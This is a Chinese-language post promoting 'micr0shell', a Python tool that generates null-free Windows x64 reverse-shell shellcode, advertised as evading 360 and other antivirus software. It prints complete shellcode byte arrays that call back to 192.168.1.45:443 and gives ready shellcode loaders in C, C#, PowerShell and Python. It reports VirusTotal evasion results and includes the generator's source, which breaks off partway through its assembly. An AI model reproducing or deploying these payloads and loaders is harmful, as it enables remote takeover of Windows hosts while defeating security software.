时间:2025年3月21日

该脚本过”360“(过所有世面上的所有安全软件)的免杀效果

脚本涉及编程语言:CSharp(C#)、C、Python、PowerShell、汇编

学习难度:地狱级别

micr0 shell 简介

Micr0shell 是一个轻量级且高效的 Python 脚本,旨在动态生成 W​​indows X64 位置无关代码 (PIC) 无空值反向 shell 代码。根据所选的选项,生成的 shell 代码最多可以27比 msfvenom 中的同类 shell 代码小 1000 个字节,同时还可以避免包含 0x00 字节。此外,由于 MSF 的 shell 代码被广泛使用,因此更有可能被基于签名的检测方法标记,micr0shell 生成的 shell 代码提供了额外的一层逃避能力。

└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.45 LPORT=443 -f csharp -v shellcode -b "\x00"

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

Found 3 compatible encoders

Attempting to encode payload with 1 iterations of generic/none

generic/none failed with Encoding failed due to a bad character (index=7, char=0x00)

Attempting to encode payload with 1 iterations of x64/xor

x64/xor succeeded with size 503 (iteration=0)

x64/xor chosen with final size 503

Payload size: 503 bytes

Final size of csharp file: 2586 bytes

byte[] shellcode = new byte[503] {

0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,

0xff,0xff,0x48,0xbb,0x2b,0x1e,0x7f,0x17,0x61,0x58,0xad,0xc4,0x48,0x31,0x58,

0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0xd7,0x56,0xfc,0xf3,0x91,0xb0,

0x6d,0xc4,0x2b,0x1e,0x3e,0x46,0x20,0x08,0xff,0x95,0x7d,0x56,0x4e,0xc5,0x04,

0x10,0x26,0x96,0x4b,0x56,0xf4,0x45,0x79,0x10,0x26,0x96,0x0b,0x56,0xf4,0x65,

0x31,0x10,0xa2,0x73,0x61,0x54,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x22,0x1e,

0x6b,0x63,0x74,0x8d,0x85,0xea,0xd7,0x72,0x56,0x60,0x99,0x4f,0x29,0x79,0x5f,

0x2e,0x5f,0xea,0x0a,0x8d,0x4f,0x69,0x22,0x37,0x16,0xb1,0xd3,0x2d,0x4c,0x2b,

0x1e,0x7f,0x5f,0xe4,0x98,0xd9,0xa3,0x63,0x1f,0xaf,0x47,0xea,0x10,0xb5,0x80,

0xa0,0x5e,0x5f,0x5e,0x60,0x88,0x4e,0x92,0x63,0xe1,0xb6,0x56,0xea,0x6c,0x25,

0x8c,0x2a,0xc8,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x5f,0xbe,0xde,0x6c,0x19,

0xac,0x05,0x13,0xfe,0x0a,0xe6,0x2d,0x5b,0xe1,0xe0,0x23,0x5b,0x46,0xc6,0x14,

0x80,0xf5,0x80,0xa0,0x5e,0x5b,0x5e,0x60,0x88,0xcb,0x85,0xa0,0x12,0x37,0x53,

0xea,0x18,0xb1,0x8d,0x2a,0xce,0x3e,0x9c,0x65,0xd0,0xe5,0xc5,0xfb,0x5f,0x27,

0x56,0x39,0x06,0xf4,0x9e,0x6a,0x46,0x3e,0x4e,0x20,0x02,0xe5,0x47,0xc7,0x3e,

0x3e,0x45,0x9e,0xb8,0xf5,0x85,0x72,0x44,0x37,0x9c,0x73,0xb1,0xfa,0x3b,0xd4,

0xe1,0x22,0x5e,0xdf,0x2f,0xde,0xf6,0x74,0x2d,0x4d,0x17,0x61,0x19,0xfb,0x8d,

0xa2,0xf8,0x37,0x96,0x8d,0xf8,0xac,0xc4,0x2b,0x57,0xf6,0xf2,0x28,0xe4,0xaf,

0xc4,0x2a,0xa5,0xbf,0xbf,0x60,0x75,0xec,0x90,0x62,0x97,0x9b,0x5b,0xe8,0xa9,

0xec,0x7e,0x67,0x69,0x59,0x10,0x9e,0x8d,0xe1,0x4d,0xc1,0x76,0x7e,0x16,0x61,

0x58,0xf4,0x85,0x91,0x37,0xff,0x7c,0x61,0xa7,0x78,0x94,0x7b,0x53,0x4e,0xde,

0x2c,0x69,0x6d,0x8c,0xd4,0xde,0x37,0x9e,0xa3,0x10,0x52,0x04,0x63,0x97,0xbe,

0x56,0xdb,0xb2,0xa2,0x1b,0xcb,0xe1,0xaa,0x5f,0xe8,0x9f,0xc7,0xd4,0x6a,0x46,

0x33,0x9e,0x83,0x10,0x24,0x3d,0x6a,0xa4,0xe6,0xb2,0x15,0x39,0x52,0x11,0x63,

0x9f,0xbb,0x57,0x63,0x58,0xad,0x8d,0x93,0x7d,0x12,0x73,0x61,0x58,0xad,0xc4,

0x2b,0x5f,0x2f,0x56,0x31,0x10,0x24,0x26,0x7c,0x49,0x28,0x5a,0x50,0x98,0xc7,

0xc9,0x72,0x5f,0x2f,0xf5,0x9d,0x3e,0x6a,0x80,0x0f,0x4a,0x7e,0x16,0x29,0xd5,

0xe9,0xe0,0x33,0xd8,0x7f,0x7f,0x29,0xd1,0x4b,0x92,0x7b,0x5f,0x2f,0x56,0x31,

0x19,0xfd,0x8d,0xd4,0xde,0x3e,0x47,0x28,0xa7,0x65,0x89,0xa2,0xdf,0x33,0x9e,

0xa0,0x19,0x17,0xbd,0xe7,0x21,0xf9,0xe8,0xb4,0x10,0x9c,0x16,0x63,0xe1,0xb5,

0x9c,0x6f,0x19,0x17,0xcc,0xac,0x03,0x1f,0xe8,0xb4,0xe3,0x5d,0x71,0x89,0x48,

0x3e,0xad,0xc7,0xcd,0x10,0x59,0xd4,0xcb,0x37,0x94,0xa5,0x70,0x91,0xc2,0x57,

0x14,0xff,0xec,0x81,0x2d,0xa8,0x7f,0x6c,0x0d,0x0d,0x78,0x0b,0x58,0xf4,0x85,

0xa2,0xc4,0x80,0xc2,0x61,0x58,0xad,0xc4 };

背景

我通过 x86 shellcode 开发技能: 攻击性安全漏洞开发人员(Offensive Security Exploit Developer)。认识到 x64 shellcoding 在当今环境中更有意义且应用更广泛,我运用所学知识开发了这个动态且方便的 Windows x64 反向 shell shellcode 生成器脚本。

如何使用

安装 Keystone Engine

要从 Python 脚本中的 x64 汇编指令生成 shellcode,keystone需要引擎依赖项。使用以下工具pip安装 Keystone Engine:

pip install keystone-engine

脚本用法

用户可以灵活地指定各种参数:(选项包括 C、CSharp (C#)、Python 和 PowerShell)、(PowerShell 或 CMD)、是否将生成的 shellcode 复制到文件、以及是否将生成的 shellcode 复制到本地(True/False)IP address监听端口变量名称外壳代码格式外壳类型保存执行

└─# python3 micr0shell.py       
███╗░░░███╗██╗░█████╗░██████╗░░█████╗░  ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
████╗░████║██║██╔══██╗██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║  ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║  ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝  ██████╔╝██║░░██║███████╗███████╗███████╗
╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
描述:动态生成PIC无空Windows X64 TCP反向外壳代码
此版本不支持shellcode执行
注意:在极少数情况下(.255和.0共存),生成的外壳代码可能包含NULL字节,例如当IP为192.168.0.255时

usage: micr0shell.py [-h] --ip IP [--port PORT] [--language LAN] [--variable VAR] [--type SHELL_TYPE] [--execution CODE_EXEC] [--save SAVE]
                     [--output OUTPUT]
micr0shell.py: error: the following arguments are required: --ip/-i                                 

只需IP address指定 即可使 shellcode 正常工作。默认端口值为443,默认变量名为buf,默认语言为python,默认 shell 类型为cmd.exe

用户可以选择在此 Python 脚本中执行生成的 shellcode,生成的 shellcode 也可以保存在二进制文件中。默认情况下,生成的 shellcode 位于NOT EXECUTED文件NOT SAVED中。

例如:

─# python3 micr0shell.py --ip 192.168.1.45 --port 443 --type cmd --language c --variable shellcode --execution false --save True --output buf.bin

███╗░░░███╗██╗░█████╗░██████╗░░█████╗░  ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
████╗░████║██║██╔══██╗██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║  ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║  ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝  ██████╔╝██║░░██║███████╗███████╗███████╗
╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝

描述:动态生成PIC无空Windows X64 TCP反向外壳代码
此版本不支持shellcode执行
注意:在极少数情况下(.255和.0共存),生成的外壳代码可能包含NULL字节,例如当IP为192.168.0.255时

[+]Shellcode Settings:
******** IP Address: 192.168.1.45
******** Listening Port: 443
******** Language of desired shellcode runner: c
******** Shellcode array variable name: shellcode
******** Shell: cmd
******** Shellcode Execution: false
******** Save Shellcode to file: true


[+]Payload size: 476 bytes

[+]Shellcode format for C

unsigned char shellcode[]={
0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48,0x8b,0x70,0x18,0x48,0x8b,0x76,0x30,0x4c,0x8b,0x0e,0x4d,
0x8b,0x09,0x4d,0x8b,0x49,0x10,0xeb,0x63,0x41,0x8b,0x49,0x3c,0x4d,0x31,0xff,0x41,0xb7,0x88,0x4d,0x01,
0xcf,0x49,0x01,0xcf,0x45,0x8b,0x3f,0x4d,0x01,0xcf,0x41,0x8b,0x4f,0x18,0x45,0x8b,0x77,0x20,0x4d,0x01,
0xce,0xe3,0x3f,0xff,0xc9,0x48,0x31,0xf6,0x41,0x8b,0x34,0x8e,0x4c,0x01,0xce,0x48,0x31,0xc0,0x48,0x31,
0xd2,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x44,0x39,0xc2,0x75,0xda,0x45,
0x8b,0x57,0x24,0x4d,0x01,0xca,0x41,0x0f,0xb7,0x0c,0x4a,0x45,0x8b,0x5f,0x1c,0x4d,0x01,0xcb,0x41,0x8b,
0x04,0x8b,0x4c,0x01,0xc8,0xc3,0xc3,0x4c,0x89,0xcd,0x41,0xb8,0x8e,0x4e,0x0e,0xec,0xe8,0x8f,0xff,0xff,
0xff,0x49,0x89,0xc4,0x48,0x31,0xc0,0x66,0xb8,0x6c,0x6c,0x50,0x48,0xb8,0x57,0x53,0x32,0x5f,0x33,0x32,
0x2e,0x64,0x50,0x48,0x89,0xe1,0x48,0x83,0xec,0x20,0x4c,0x89,0xe0,0xff,0xd0,0x48,0x83,0xc4,0x20,0x49,
0x89,0xc6,0x49,0x89,0xc1,0x41,0xb8,0xcb,0xed,0xfc,0x3b,0x4c,0x89,0xcb,0xe8,0x55,0xff,0xff,0xff,0x48,
0x31,0xc9,0x66,0xb9,0x98,0x01,0x48,0x29,0xcc,0x48,0x8d,0x14,0x24,0x66,0xb9,0x02,0x02,0x48,0x83,0xec,
0x30,0xff,0xd0,0x48,0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0xd9,0x09,0xf5,0xad,0xe8,0x2b,0xff,0xff,
0xff,0x48,0x83,0xec,0x30,0x48,0x31,0xc9,0xb1,0x02,0x48,0x31,0xd2,0xb2,0x01,0x4d,0x31,0xc0,0x41,0xb0,
0x06,0x4d,0x31,0xc9,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,0x24,0x28,0xff,0xd0,0x49,0x89,0xc4,0x48,
0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0x0c,0xba,0x2d,0xb3,0xe8,0xf3,0xfe,0xff,0xff,0x48,0x83,0xec,
0x20,0x4c,0x89,0xe1,0x48,0x31,0xd2,0xb2,0x02,0x48,0x89,0x14,0x24,0x48,0x31,0xd2,0x66,0xba,0x01,0xbb,
0x48,0x89,0x54,0x24,0x02,0xba,0xc0,0xa8,0x01,0x2d,0x48,0x89,0x54,0x24,0x04,0x48,0x8d,0x14,0x24,0x4d,
0x31,0xc0,0x41,0xb0,0x16,0x4d,0x31,0xc9,0x48,0x83,0xec,0x38,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,
0x24,0x28,0x4c,0x89,0x4c,0x24,0x30,0xff,0xd0,0x48,0x83,0xc4,0x38,0x49,0x89,0xe9,0x41,0xb8,0x72,0xfe,
0xb3,0x16,0xe8,0x99,0xfe,0xff,0xff,0x48,0xba,0x9c,0x92,0x9b,0xd1,0x9a,0x87,0x9a,0xff,0x48,0xf7,0xd2,
0x52,0x48,0x89,0xe2,0x41,0x54,0x41,0x54,0x41,0x54,0x48,0x31,0xc9,0x66,0x51,0x51,0x51,0xb1,0xff,0x66,
0xff,0xc1,0x66,0x51,0x48,0x31,0xc9,0x66,0x51,0x66,0x51,0x51,0x51,0x51,0x51,0x51,0x51,0xb1,0x68,0x51,
0x48,0x89,0xe7,0x48,0x89,0xe1,0x48,0x83,0xe9,0x20,0x51,0x57,0x48,0x31,0xc9,0x51,0x51,0x51,0x48,0xff,
0xc1,0x51,0xfe,0xc9,0x51,0x51,0x51,0x51,0x49,0x89,0xc8,0x49,0x89,0xc9,0xff,0xd0};


Generated shellcode successfully saved in file buf.bin

简单的 Shellcode 运行器

下面提供了不同常用语言的简单shellcode加载器,以方便测试生成的shellcode。

但是,如果您有兴趣评估规避能力,请注意以下 shellcode 加载程序本身可能会被检测到。对于更高级的规避技术,您可能需要探索其他 shellcode 加载程序,这超出了本文档的范围。

C

#include "windows.h"
#include "stdlib.h"

unsigned char shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0......};  // SHELLCODE HERE

int main()
{
    int length = sizeof(shellcode);
    void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
}

CSharp(C#)

using System;
using System.Runtime.InteropServices;

namespace runner
{
    public class runner
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void Main(String[] args)
        {
            byte[] buffer= new byte[479] {0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48......};  // SHELLCODE HERE
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }
    }
}

PowerShell

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = <SHELLCODE HERE>

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

Python

import ctypes, struct


buf =  b"\x48\x31\...."  # SHELLCODE HERE
buf=bytearray(buf)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(buf)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(buf)).from_buffer(buf)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(buf)))
print("Shellcode located at address %s" % hex(ptr))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

已知问题

  1. 根据提供的IP addressportshell type,micr0shell 动态生成无 Null 的 shellcode。虽然我已经考虑了大多数可能引入 Null 字节的常见情况,但值得注意的是,如果提供的 IP 地址同时包含和.255.0例如192.168.0.255),则生成的 shellcode 将包含一个 Null 字节。虽然这种 IP 地址在实践中相对罕见,但消除所有可能的 IP 地址的 Null 字节会显著增加复杂性。因此,我目前没有计划解决这个问题。

  2. 关于端口值,理论上,没有端口应该产生 Null 字节。但是,由于 Null 字节消除的实现方式,端口65280不可用。

  3. 在 上Windows 11double-clickingshellcode 加载程序/脚本将导致 shell 会话快速退出。但是,如果您通过CMD或启动它PowerShell,shell 会话将保持活动状态,直到您断开与服务器的连接。此问题目前正在调查中,似乎与 shellcode 本身有关。我会尽快找到修复此问题的方法。

测试用例

Shellcode签名逃避能力测试(免杀),样本文件上传至VirusTotal。

Shellcode Bin文件

使用msfvenom和micr0shell分别生成原始二进制文件并上传。msfvenom生成的样本有2个,一个包含0x00,一个为Null-Free。对比如下:

micr0shell 生成的原始 shellcode bin 文件未经签名。

用 C 语言编写的简单 Shellcode 加载器

使用 msfvenom 和 micr0shell 生成 shellcode 字节数组,并分别将其包含在用 C 编写的简单 shellcode 运行器中。msfvenom 生成的 shellcode 有 2 个,一个包含 0x00,另一个是 Null-Free。比较如下:

相比之下,shellcode 加载器包括由 micr0shell 生成的 shellcode,检测程度要低得多。值得一提的是,即使 shellcode 是无害的,简单的 shellcode 加载器本身也是经过签名的。

micr0shell整个脚本源码

import ctypes, struct
import argparse
from keystone import *

# Exploit Title: Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes)
# Platform: Windows X64
# Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter
# OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763
# Test IP: 192.168.1.45 
# Test Port: 443
# Payload size: 476 bytes
# NUll-Free: True



# Generated Shellcode (192.168.1.45:443):
# Payload size: 476 bytes
# buf =  b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
# buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
# buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
# buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
# buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
# buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
# buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x4c\x89\xcd\x41\xb8\x8e\x4e\x0e\xec\xe8\x8f\xff\xff"
# buf += b"\xff\x49\x89\xc4\x48\x31\xc0\x66\xb8\x6c\x6c\x50\x48\xb8\x57\x53\x32\x5f\x33\x32"
# buf += b"\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x20\x4c\x89\xe0\xff\xd0\x48\x83\xc4\x20\x49"
# buf += b"\x89\xc6\x49\x89\xc1\x41\xb8\xcb\xed\xfc\x3b\x4c\x89\xcb\xe8\x55\xff\xff\xff\x48"
# buf += b"\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec"
# buf += b"\x30\xff\xd0\x48\x83\xc4\x30\x49\x89\xd9\x41\xb8\xd9\x09\xf5\xad\xe8\x2b\xff\xff"
# buf += b"\xff\x48\x83\xec\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0"
# buf += b"\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\x89\xc4\x48"
# buf += b"\x83\xc4\x30\x49\x89\xd9\x41\xb8\x0c\xba\x2d\xb3\xe8\xf3\xfe\xff\xff\x48\x83\xec"
# buf += b"\x20\x4c\x89\xe1\x48\x31\xd2\xb2\x02\x48\x89\x14\x24\x48\x31\xd2\x66\xba\x01\xbb"
# buf += b"\x48\x89\x54\x24\x02\xba\xc0\xa8\x01\x2d\x48\x89\x54\x24\x04\x48\x8d\x14\x24\x4d"
# buf += b"\x31\xc0\x41\xb0\x16\x4d\x31\xc9\x48\x83\xec\x38\x4c\x89\x4c\x24\x20\x4c\x89\x4c"
# buf += b"\x24\x28\x4c\x89\x4c\x24\x30\xff\xd0\x48\x83\xc4\x38\x49\x89\xe9\x41\xb8\x72\xfe"
# buf += b"\xb3\x16\xe8\x99\xfe\xff\xff\x48\xba\x9c\x92\x9b\xd1\x9a\x87\x9a\xff\x48\xf7\xd2"
# buf += b"\x52\x48\x89\xe2\x41\x54\x41\x54\x41\x54\x48\x31\xc9\x66\x51\x51\x51\xb1\xff\x66"
# buf += b"\xff\xc1\x66\x51\x48\x31\xc9\x66\x51\x66\x51\x51\x51\x51\x51\x51\x51\xb1\x68\x51"
# buf += b"\x48\x89\xe7\x48\x89\xe1\x48\x83\xe9\x20\x51\x57\x48\x31\xc9\x51\x51\x51\x48\xff"
# buf += b"\xc1\x51\xfe\xc9\x51\x51\x51\x51\x49\x89\xc8\x49\x89\xc9\xff\xd0"


def print_banner():
        banner="""
███╗░░░███╗██╗░█████╗░██████╗░░█████╗░  ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
████╗░████║██║██╔══██╗██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║  ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║  ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝  ██████╔╝██║░░██║███████╗███████╗███████╗
╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
"""
        print("描述:动态生成PIC无空Windows X64 TCP反向外壳代码")
        print("此版本不支持shellcode执行")
        print("注意:在极少数情况下(.255和.0共存),生成的外壳代码可能包含NULL字节,例如当IP为192.168.0.255时\n\n")


def get_port_argument(port):
        port_hex_str = format(port, '04x')
        port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2]
        if "00" in {port_part_1, port_part_2}:
                port += 257
                port_hex_str = format(port, '04x')
                port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2]
                return f"mov dx, 0x{port_part_1 + port_part_2};\nsub dx, 0x101;"
        return f"mov dx, 0x{port_part_1 + port_part_2};"


def get_ip_argument(ip):
        ip_hex_parts = [format(int(part), '02x') for part in ip.split('.')]
        reversed_hex = ''.join(ip_hex_parts[::-1])
        if "00" in ip_hex_parts and "ff" not in ip_hex_parts:
                hex_int = int(reversed_hex, 16)
                neg_hex = (0xFFFFFFFF + 1 - hex_int) & 0xFFFFFFFF
                return f"mov edx, 0x{neg_hex:08x};\nneg rdx;"
        return f"mov edx, 0x{reversed_hex};"


def get_shell_type_argument(shell_type):
        if shell_type == "cmd":
                return f"mov rdx, 0xff9a879ad19b929c;\nnot rdx;"
        return (f"sub rsp, 8;\nmov rdx, 0xffff9a879ad19393;\nnot rdx;\npush rdx;"
            f"\nmov rdx, 0x6568737265776f70;")


def output_shellcode(lan,encoding,var,save):
        sh = b""
        for e in encoding:
                sh += struct.pack("B", e)
        shellcode = bytearray(sh)
        print("[+]Payload size: "+str(len(encoding))+" bytes\n")
        counter=0

        if lan=="python":
                print("[+]Shellcode format for Python\n")
                sc = ""
                sc = var+" = b\""
                for dec in encoding:
                        if counter % 20 == 0 and counter != 0:
                                sc += "\"\n"+var+"+="+"b\""
                        sc += "\\x{0:02x}".format(int(dec))
                        counter += 1

                if count % 20 > 0:
                        sc += "\""  
                print(sc)       

        elif lan=="c":
                print("[+]Shellcode format for C\n")
                sc = "unsigned char " + var + "[]={\n"  
                for dec in encoding:
                        if counter % 20 == 0 and counter != 0:
                                sc += "\n"
                        sc += "0x{0:02x}".format(int(dec))+","
                        counter += 1
                sc=sc[0:len(sc)-1]+"};"
                print(sc)       


        elif lan=="powershell":
                print("[+]Shellcode format for Powershell\n")
                sc = "[Byte[]] $"+var+" = "     
                for dec in encoding:
                        sc += "0x{0:02x}".format(int(dec))+","
                sc=sc[0:len(sc)-1]
                print(sc)       

        elif lan=="csharp":
                print("[+]Shellcode format for C#\n")
                sc = "byte[] " + var + "= new byte["+str(len(encoding))+"] {\n" 
                for dec in encoding:
                        if counter % 20 == 0 and counter != 0:
                                sc += "\n"
                        sc += "0x{0:02x}".format(int(dec))+","
                        counter += 1
                sc=sc[0:len(sc)-1]+"};"
                print(sc)       
        
        else:
                print("Unsupported language! Exiting...")
                exit()


        if save=="true":
                try:
                        with open(output, 'wb') as f:
                                f.write(shellcode)
                                print("\n\nGenerated shellcode successfully saved in file "+output)
                except Exception as e:
                        print(e)
        
        
if __name__ == "__main__":
        print_banner()
        parser = argparse.ArgumentParser(description='Dynamically generate Windows x64 reverse shell.')
        parser.add_argument('--ip', '-i', required=True, dest='ip',help='The listening IP address, default value is 192.168.0.45')
        parser.add_argument('--port', '-p', required=False, default=443, dest='port',help='The local listening port, default value is 443')
        parser.add_argument('--language', '-l', required=False, default='python', dest='lan',help='The language of desired shellcode runner, default language is python. Support c, csharp, python, powershell')
        parser.add_argument('--variable', '-v', required=False, default='buf', dest='var',help='The variable name of shellcode array, default variable is buf')
        parser.add_argument('--type', '-t', required=False, default='cmd', dest='shell_type',help='The shell type, Powershell or Cmd, default shell is cmd')
        parser.add_argument('--save', '-s', required=False, default='False', dest='save',help='Whether to save the generated shellcode to a bin file, True/False')
        parser.add_argument('--output', '-o', required=False, default='', dest='output',help='If choose to save the shellcode to file, the desired location.')

        args = parser.parse_args()
        ip=args.ip
        port=int(args.port)
        lan=args.lan.lower()
        var=args.var
        shell_type=args.shell_type.lower()
        save=args.save.lower()
        output=args.output
        print("[+]Shellcode Settings:")
        print("******** IP Address: "+ip)
        print("******** Listening Port: "+str(port))
        print("******** Language of desired shellcode runner: "+lan)
        print("******** Shellcode array variable name: "+var)
        print("******** Shell: "+shell_type)
        print("******** Save Shellcode to file: "+save+"\n\n")

        args = parser.parse_args()
        port_argument = get_port_argument(port)
        ip_argument = get_ip_argument(ip)
        shell_type = get_shell_type_argument(shell_type)

        CODE = (
"find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx+0x60];"        # RAX 将ProcessEnvironmentBlock成员的值存储在TEB中,TEB是PEB地址
